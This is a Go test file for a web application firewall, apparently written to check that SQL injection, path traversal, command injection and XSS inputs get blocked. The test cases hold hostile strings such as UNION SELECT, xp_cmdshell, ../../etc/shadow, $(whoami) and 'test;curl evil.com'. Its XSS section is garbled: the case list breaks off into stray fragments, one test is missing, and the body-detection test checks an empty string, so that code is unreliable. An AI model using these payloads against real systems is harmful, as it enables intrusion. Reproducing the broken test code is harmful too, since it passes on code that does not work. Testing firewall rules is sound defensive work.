package waf import "testing" // ─── helpers ────────────────────────────────────────────────────────────────── func allRules() WAFConfig { return WAFConfig{ Enabled: true, BlockSQLi: true, BlockXSS: true, BlockPathTraversal: true, BlockCommandInj: true, BlockLargeBody: false, } } func assertBlocked(t *testing.T, cfg WAFConfig, path, query, body, wantRule string) { t.Helper() r := Check(cfg, path, query, body) if r == nil { t.Errorf("expected block (rule=%q) but request was allowed — path=%q query=%q body=%q", wantRule, path, query, body) return } if r.Rule != wantRule { t.Errorf("wrong rule: got %q, want %q", r.Rule, wantRule) } } func assertAllowed(t *testing.T, cfg WAFConfig, path, query, body string) { t.Helper() r := Check(cfg, path, query, body) if r != nil { t.Errorf("expected allow but got blocked (rule=%q matched=%q) — path=%q query=%q body=%q", r.Rule, r.Matched, path, query, body) } } // ─── WAF disabled ───────────────────────────────────────────────────────────── func TestWAFDisabled(t *testing.T) { cfg := allRules() cfg.Enabled = false // Even with clear attack payloads, nothing should be blocked when WAF is off. assertAllowed(t, cfg, "/path", "x=1 UNION SELECT 1,2,3", "") } // ─── SQL injection ──────────────────────────────────────────────────────────── func TestSQLi_Blocked(t *testing.T) { cfg := allRules() cases := []struct{ path, query, body string }{ {"/api", "id=1 UNION SELECT 1,2,3", ""}, {"/api", "q=1' OR '1'='1", ""}, {"/api", "", "DROP TABLE users"}, {"/api", "", "INSERT INTO users VALUES(1,'admin')"}, {"/api", "", "'; EXEC xp_cmdshell('cmd')"}, {"/api", "x=1-- comment", ""}, // regex requires whitespace/text after -- {"/api", "", "1 OR 1=1"}, // URL-encoded variant {"/api", "x=1%20UNION%20SELECT%201%2C2", ""}, } for _, tc := range cases { assertBlocked(t, cfg, tc.path, tc.query, tc.body, "sqli") } } func TestSQLi_RuleDisabled(t *testing.T) { cfg := allRules() cfg.BlockSQLi = false assertAllowed(t, cfg, "/api", "x=UNION SELECT 1", "") } func TestSQLi_LegitimateRequests(t *testing.T) { cfg := allRules() cases := []struct{ path, query, body string }{ {"/api/users", "name=Alice&age=30", ""}, {"/api/search", "q=select+all+items", ""}, // "select" as normal word, no SQL keywords around it {"/api/orders", "status=pending", `{"id":123}`}, // JSON body } for _, tc := range cases { assertAllowed(t, cfg, tc.path, tc.query, tc.body) } } // ─── XSS ───────────────────────────────────────────────────────────────────── func TestXSS_Blocked(t *testing.T) { cfg := allRules() cases := []struct{ path, query, body string }{ {"/api", "x=", ""}, {"/api", "", "", "") } func TestXSS_LegitimateRequests(t *testing.T) { cfg := allRules() assertAllowed(t, cfg, "/api/docs", "format=html", "") assertAllowed(t, cfg, "/api/search", "q=react+components", "") } // ─── Path traversal ─────────────────────────────────────────────────────────── func TestPathTraversal_Blocked(t *testing.T) { cfg := allRules() cases := []struct{ path, query, body string }{ {"/../etc/passwd", "", ""}, {"/api", "file=../../etc/shadow", ""}, {"/api", "", "../../../windows/system32/cmd.exe"}, {"/api", "p=%2e%2e%2fetc%2fpasswd", ""}, {"/api", "p=..%2fetc%2fpasswd", ""}, // %252e decodes to %2e (double-encoded dot); needs trailing slash to match {"/api", "p=%252e%252e%2f", ""}, {"/api/files", "path=/proc/self/environ", ""}, } for _, tc := range cases { assertBlocked(t, cfg, tc.path, tc.query, tc.body, "path-traversal") } } func TestPathTraversal_RuleDisabled(t *testing.T) { cfg := allRules() cfg.BlockPathTraversal = false assertAllowed(t, cfg, "/../etc/passwd", "", "") } func TestPathTraversal_LegitimateRequests(t *testing.T) { cfg := allRules() assertAllowed(t, cfg, "/api/files/report.pdf", "", "") assertAllowed(t, cfg, "/api/v2/users", "sort=name", "") } // ─── Command injection ──────────────────────────────────────────────────────── func TestCmdInj_Blocked(t *testing.T) { cfg := allRules() cases := []struct{ path, query, body string }{ // pipe operator {"/api", "", "value=test|whoami"}, // logical AND {"/api", "cmd=id && whoami", ""}, // backtick subshell {"/api", "", "name=`id`"}, // $() subshell {"/api", "", "x=$(whoami)"}, // semicolon + known binary {"/api", "q=test;curl evil.com", ""}, {"/api", "", "x=test;bash"}, {"/api", "x=foo; ls -la", ""}, } for _, tc := range cases { assertBlocked(t, cfg, tc.path, tc.query, tc.body, "cmdinj") } } func TestCmdInj_SemicolonLsGap(t *testing.T) { cfg := allRules() assertBlocked(t, cfg, "/api", "x=foo; ls -la", "", "cmdinj") } func TestCmdInj_RuleDisabled(t *testing.T) { cfg := allRules() cfg.BlockCommandInj = false assertAllowed(t, cfg, "/api", "x=foo; ls -la", "") } func TestCmdInj_LegitimateRequests(t *testing.T) { cfg := allRules() assertAllowed(t, cfg, "/api/shell-scripts", "name=deploy.sh", "") assertAllowed(t, cfg, "/api/search", "q=bash+scripting+tutorial", "") } // ─── Only specific rules enabled ───────────────────────────────────────────── func TestOnlySQLiEnabled(t *testing.T) { cfg := WAFConfig{ Enabled: true, BlockSQLi: true, BlockXSS: false, BlockPathTraversal: false, BlockCommandInj: false, } assertBlocked(t, cfg, "/api", "x=UNION SELECT 1", "", "sqli") assertAllowed(t, cfg, "/api", "x=", "") assertAllowed(t, cfg, "/../etc/passwd", "", "") assertAllowed(t, cfg, "/api", "x=; ls", "") } // ─── Inputs in different positions ─────────────────────────────────────────── func TestDetectsInPath(t *testing.T) { cfg := allRules() assertBlocked(t, cfg, "/api/../../../etc/passwd", "", "", "path-traversal") } func TestDetectsInQuery(t *testing.T) { cfg := allRules() assertBlocked(t, cfg, "/api", "q=UNION SELECT 1,2", "", "sqli") } func TestDetectsInBody(t *testing.T) { cfg := allRules() assertBlocked(t, cfg, "/api", "", "", "xss") }